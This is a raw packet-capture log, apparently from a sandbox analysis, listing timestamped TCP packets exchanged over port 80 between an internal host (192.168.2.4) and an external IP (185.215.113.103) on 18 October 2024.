Oct 18, 2024 15:04:27.547344923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547348976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547358036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547367096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547369957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547394991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547400951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547404051 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547414064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547420025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547426939 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547435045 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547454119 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547466993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548113108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548124075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548134089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548145056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548156977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548166037 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548172951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548183918 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548187017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548194885 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548202991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548214912 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548227072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548228025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548238993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.548252106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548268080 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.548290968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549061060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549074888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549087048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549098015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549108028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549118042 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549127102 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549137115 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549139977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549153090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549153090 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549164057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549175978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549177885 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549187899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549201965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549213886 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549238920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.549951077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549962997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549973965 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549985886 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.549995899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550007105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550019979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550019979 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550030947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550041914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550050020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550052881 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550065041 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550069094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550071955 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550088882 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550111055 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550916910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550928116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550936937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550946951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550956011 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550966978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550970078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.550978899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550990105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.550998926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551000118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551011086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551019907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551023006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551038980 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551054001 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551088095 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551830053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551842928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551853895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551866055 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551877975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551878929 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551891088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551897049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551903963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551917076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551928997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551940918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551948071 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551954985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551963091 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.551969051 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.551984072 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.552010059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.552625895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.552639008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.552649021 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.552660942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.552671909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.552684069 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.552701950 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.552719116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553148031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553160906 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553170919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553185940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553198099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553200960 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553210974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553222895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553229094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553235054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553245068 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553248882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553261042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553267956 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553272009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.553283930 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.553313971 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554032087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554044008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554054976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554065943 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554076910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554088116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554090023 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554100037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554111958 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554114103 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554125071 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554137945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554137945 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554151058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554155111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554166079 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554193020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554222107 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.554976940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554989100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.554997921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555007935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555018902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555031061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555042028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555052996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555052996 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555063963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555075884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555087090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555092096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555110931 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555138111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555654049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555665970 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555675030 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555685997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555697918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555710077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.555718899 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555757046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.555757999 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694619894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694700003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694708109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694720030 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694772959 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694772959 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694870949 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694884062 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694896936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694907904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694919109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.694930077 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694962978 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.694981098 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695171118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695183039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695203066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695215940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695220947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695228100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695245981 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695277929 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695550919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695564032 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695575953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695586920 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695604086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695610046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695610046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695614100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695636988 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695667982 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695863008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695873022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695882082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695898056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.695914030 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695949078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.695949078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696151972 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696168900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696180105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696190119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696201086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696213961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696219921 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696227074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696248055 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696248055 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696260929 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696269035 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696274042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696290970 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696307898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696810961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696822882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696834087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696846008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696856976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696861982 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696868896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696882963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.696885109 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696902037 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.696930885 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.697396994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697408915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697418928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697431087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697448015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697458029 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.697458982 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697473049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697484016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697487116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.697487116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.697496891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.697518110 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.697546959 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698025942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698038101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698048115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698060036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698071003 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698081970 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698086023 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698095083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698107004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698122978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698133945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698138952 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698146105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698160887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698178053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698208094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698923111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698935986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698951960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698962927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698971987 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698983908 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.698983908 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.698997021 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699007988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699019909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699028969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699028969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699032068 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699053049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699054003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699065924 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699076891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699083090 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699090004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699105978 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699127913 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699143887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699816942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699831009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699840069 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699852943 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699862957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699873924 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699873924 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699886084 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699897051 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699898958 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699911118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699918985 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699923992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699937105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699938059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699949026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.699958086 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.699990988 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700020075 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700715065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700732946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700743914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700756073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700759888 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700767994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700781107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700783014 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700784922 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700792074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700803041 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700809002 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700820923 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700822115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700834990 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700838089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700848103 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.700871944 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.700890064 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701647997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701662064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701672077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701683044 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701694965 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701703072 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701708078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701719999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701724052 CEST	49884	80	192.168.2.4	185.215.113.103
